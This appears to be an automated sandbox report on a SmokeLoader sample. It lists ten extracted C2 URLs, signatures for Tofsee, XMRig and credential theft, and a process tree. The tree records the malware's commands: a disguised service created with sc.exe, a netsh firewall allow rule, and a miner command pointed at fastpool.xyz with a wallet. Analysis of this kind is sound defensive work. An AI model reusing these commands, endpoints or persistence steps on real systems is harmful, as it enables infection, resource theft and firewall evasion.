Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    26-09-2021 18:49

General

  • Target

    11b4633345982ace9d710465450941598b2f9289f0438c358fa79eb8eaf680c3.exe

  • Size

    134KB

  • MD5

    28351e9cfaca470a9f99b2455b3f1354

  • SHA1

    3546e2d0d5732538a0bb565d410f5ca1de9c3416

  • SHA256

    11b4633345982ace9d710465450941598b2f9289f0438c358fa79eb8eaf680c3

  • SHA512

    2314aa8caf12dd0a730106b3fd6663bf80f8cc798956aef55eeb238d640b11f7a4afafb8f87293df7b6ece96afd4dc9002dfeacb6ecdca5a2296ada2826f4897

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://naghenrietti1.top/

http://kimballiett2.top/

http://xadriettany3.top/

http://jebeccallis4.top/

http://nityanneron5.top/

http://umayaniela6.top/

http://lynettaram7.top/

http://sadineyalas8.top/

http://geenaldencia9.top/

http://aradysiusep10.top/

rc4.i32
rc4.i32

Signatures

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 5 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 14 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 36 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\11b4633345982ace9d710465450941598b2f9289f0438c358fa79eb8eaf680c3.exe
    "C:\Users\Admin\AppData\Local\Temp\11b4633345982ace9d710465450941598b2f9289f0438c358fa79eb8eaf680c3.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2208
    • C:\Users\Admin\AppData\Local\Temp\11b4633345982ace9d710465450941598b2f9289f0438c358fa79eb8eaf680c3.exe
      "C:\Users\Admin\AppData\Local\Temp\11b4633345982ace9d710465450941598b2f9289f0438c358fa79eb8eaf680c3.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2380
  • C:\Users\Admin\AppData\Local\Temp\FCD4.exe
    C:\Users\Admin\AppData\Local\Temp\FCD4.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:2752
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rgnzwpfl\
      2⤵
        PID:3516
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\seqyyjyg.exe" C:\Windows\SysWOW64\rgnzwpfl\
        2⤵
          PID:3484
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create rgnzwpfl binPath= "C:\Windows\SysWOW64\rgnzwpfl\seqyyjyg.exe /d\"C:\Users\Admin\AppData\Local\Temp\FCD4.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1172
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description rgnzwpfl "wifi internet conection"
            2⤵
              PID:652
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start rgnzwpfl
              2⤵
                PID:3952
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1008
              • C:\Users\Admin\AppData\Local\Temp\68A.exe
                C:\Users\Admin\AppData\Local\Temp\68A.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:2856
              • C:\Windows\SysWOW64\rgnzwpfl\seqyyjyg.exe
                C:\Windows\SysWOW64\rgnzwpfl\seqyyjyg.exe /d"C:\Users\Admin\AppData\Local\Temp\FCD4.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3748
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1768
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2388
              • C:\Users\Admin\AppData\Roaming\aicddfe
                C:\Users\Admin\AppData\Roaming\aicddfe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3924
                • C:\Users\Admin\AppData\Roaming\aicddfe
                  C:\Users\Admin\AppData\Roaming\aicddfe
                  2⤵
                  • Executes dropped EXE
                  • Checks SCSI registry key(s)
                  • Suspicious behavior: MapViewOfSection
                  PID:2352

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\68A.exe

                MD5

                544e87c3272d6d5a6b0c694aa2ca3775

                SHA1

                f6e203dd7d657f31fb6261544e8f31b97b37c7f1

                SHA256

                0b97aeff54f9843b9c09bd7d22e9e95f77ae339e474dfc785b8c1862d42d8cb7

                SHA512

                b781b0c4e59c7d2d2deb50c0147549da692499a0f2bc19db6386279427a60b0dbaa6140febb9ca220e23f6c2e6e76114f9603a835478698a9709b1d05b8a7701

              • C:\Users\Admin\AppData\Local\Temp\FCD4.exe

                MD5

                b4b463d7f677821bef88956f82e4acfe

                SHA1

                e8b8e46d97fddabb2a1e3641b934ea82f7f84617

                SHA256

                ac640c150beb86b7a5dea208cdf187aadba828f7115ed2418ab06461a0ccfcc0

                SHA512

                ce0a47ddd139ddc927776b9925c194aa8ed22d91409d068674e2ebdb16956155e1d3169e46db97841047084ca552af89f6452244064f0e0883c86a73b58c8d73

              • C:\Users\Admin\AppData\Local\Temp\FCD4.exe

                MD5

                b4b463d7f677821bef88956f82e4acfe

                SHA1

                e8b8e46d97fddabb2a1e3641b934ea82f7f84617

                SHA256

                ac640c150beb86b7a5dea208cdf187aadba828f7115ed2418ab06461a0ccfcc0

                SHA512

                ce0a47ddd139ddc927776b9925c194aa8ed22d91409d068674e2ebdb16956155e1d3169e46db97841047084ca552af89f6452244064f0e0883c86a73b58c8d73

              • C:\Users\Admin\AppData\Local\Temp\seqyyjyg.exe

                MD5

                196f7f809b76ba43609680e1d5043fba

                SHA1

                09b24e9311c917a50edcfe29b29289421c06363f

                SHA256

                e6be07ad02feaa6b08394c6a68bbde0da6d8de68980bb2b9f3ea5f5f6f644422

                SHA512

                9fc83c5fb6638333e0e4f0dd766de4c812f45dd483dbd81045f1d032820b2988a4f9479da390e28b582678c676db163fb1c4638fb7b364d00fe5820561e9f2f7

              • C:\Users\Admin\AppData\Roaming\aicddfe

                MD5

                28351e9cfaca470a9f99b2455b3f1354

                SHA1

                3546e2d0d5732538a0bb565d410f5ca1de9c3416

                SHA256

                11b4633345982ace9d710465450941598b2f9289f0438c358fa79eb8eaf680c3

                SHA512

                2314aa8caf12dd0a730106b3fd6663bf80f8cc798956aef55eeb238d640b11f7a4afafb8f87293df7b6ece96afd4dc9002dfeacb6ecdca5a2296ada2826f4897

              • C:\Users\Admin\AppData\Roaming\aicddfe

                MD5

                28351e9cfaca470a9f99b2455b3f1354

                SHA1

                3546e2d0d5732538a0bb565d410f5ca1de9c3416

                SHA256

                11b4633345982ace9d710465450941598b2f9289f0438c358fa79eb8eaf680c3

                SHA512

                2314aa8caf12dd0a730106b3fd6663bf80f8cc798956aef55eeb238d640b11f7a4afafb8f87293df7b6ece96afd4dc9002dfeacb6ecdca5a2296ada2826f4897

              • C:\Users\Admin\AppData\Roaming\aicddfe

                MD5

                28351e9cfaca470a9f99b2455b3f1354

                SHA1

                3546e2d0d5732538a0bb565d410f5ca1de9c3416

                SHA256

                11b4633345982ace9d710465450941598b2f9289f0438c358fa79eb8eaf680c3

                SHA512

                2314aa8caf12dd0a730106b3fd6663bf80f8cc798956aef55eeb238d640b11f7a4afafb8f87293df7b6ece96afd4dc9002dfeacb6ecdca5a2296ada2826f4897

              • C:\Windows\SysWOW64\rgnzwpfl\seqyyjyg.exe

                MD5

                196f7f809b76ba43609680e1d5043fba

                SHA1

                09b24e9311c917a50edcfe29b29289421c06363f

                SHA256

                e6be07ad02feaa6b08394c6a68bbde0da6d8de68980bb2b9f3ea5f5f6f644422

                SHA512

                9fc83c5fb6638333e0e4f0dd766de4c812f45dd483dbd81045f1d032820b2988a4f9479da390e28b582678c676db163fb1c4638fb7b364d00fe5820561e9f2f7

              • memory/652-138-0x0000000000000000-mapping.dmp

              • memory/1008-143-0x0000000000000000-mapping.dmp

              • memory/1172-134-0x0000000000000000-mapping.dmp

              • memory/1768-149-0x00000000032F0000-0x0000000003305000-memory.dmp

                Filesize

                84KB

              • memory/1768-145-0x00000000032F9A6B-mapping.dmp

              • memory/1768-144-0x00000000032F0000-0x0000000003305000-memory.dmp

                Filesize

                84KB

              • memory/2208-117-0x0000000000500000-0x0000000000509000-memory.dmp

                Filesize

                36KB

              • memory/2352-153-0x0000000000402FA5-mapping.dmp

              • memory/2380-116-0x0000000000402FA5-mapping.dmp

              • memory/2380-115-0x0000000000400000-0x0000000000409000-memory.dmp

                Filesize

                36KB

              • memory/2388-170-0x000000000309259C-mapping.dmp

              • memory/2388-171-0x0000000003000000-0x00000000030F1000-memory.dmp

                Filesize

                964KB

              • memory/2388-166-0x0000000003000000-0x00000000030F1000-memory.dmp

                Filesize

                964KB

              • memory/2752-119-0x0000000000000000-mapping.dmp

              • memory/2752-126-0x0000000000400000-0x00000000004AD000-memory.dmp

                Filesize

                692KB

              • memory/2752-125-0x00000000001E0000-0x00000000001F3000-memory.dmp

                Filesize

                76KB

              • memory/2856-139-0x00000000058B0000-0x00000000058B1000-memory.dmp

                Filesize

                4KB

              • memory/2856-130-0x00000000003F0000-0x00000000003F1000-memory.dmp

                Filesize

                4KB

              • memory/2856-132-0x0000000005EC0000-0x0000000005EC1000-memory.dmp

                Filesize

                4KB

              • memory/2856-136-0x0000000077CD0000-0x0000000077E5E000-memory.dmp

                Filesize

                1.6MB

              • memory/2856-122-0x0000000000000000-mapping.dmp

              • memory/2856-163-0x0000000008270000-0x0000000008271000-memory.dmp

                Filesize

                4KB

              • memory/2856-135-0x00000000059C0000-0x00000000059C1000-memory.dmp

                Filesize

                4KB

              • memory/2856-162-0x0000000008100000-0x0000000008101000-memory.dmp

                Filesize

                4KB

              • memory/2856-137-0x0000000005830000-0x0000000005831000-memory.dmp

                Filesize

                4KB

              • memory/2856-140-0x00000000058A0000-0x00000000058A1000-memory.dmp

                Filesize

                4KB

              • memory/2856-133-0x00000000057D0000-0x00000000057D1000-memory.dmp

                Filesize

                4KB

              • memory/2856-161-0x00000000072A0000-0x00000000072A1000-memory.dmp

                Filesize

                4KB

              • memory/2856-156-0x0000000006FD0000-0x0000000006FD1000-memory.dmp

                Filesize

                4KB

              • memory/2856-157-0x00000000076D0000-0x00000000076D1000-memory.dmp

                Filesize

                4KB

              • memory/2856-158-0x0000000007C00000-0x0000000007C01000-memory.dmp

                Filesize

                4KB

              • memory/2856-159-0x00000000071A0000-0x00000000071A1000-memory.dmp

                Filesize

                4KB

              • memory/2856-160-0x0000000007300000-0x0000000007301000-memory.dmp

                Filesize

                4KB

              • memory/3040-164-0x0000000000DC0000-0x0000000000DD6000-memory.dmp

                Filesize

                88KB

              • memory/3040-118-0x0000000000D30000-0x0000000000D46000-memory.dmp

                Filesize

                88KB

              • memory/3484-128-0x0000000000000000-mapping.dmp

              • memory/3516-124-0x0000000000000000-mapping.dmp

              • memory/3748-148-0x0000000000400000-0x00000000004AD000-memory.dmp

                Filesize

                692KB

              • memory/3924-155-0x00000000005D0000-0x000000000071A000-memory.dmp

                Filesize

                1.3MB

              • memory/3952-141-0x0000000000000000-mapping.dmp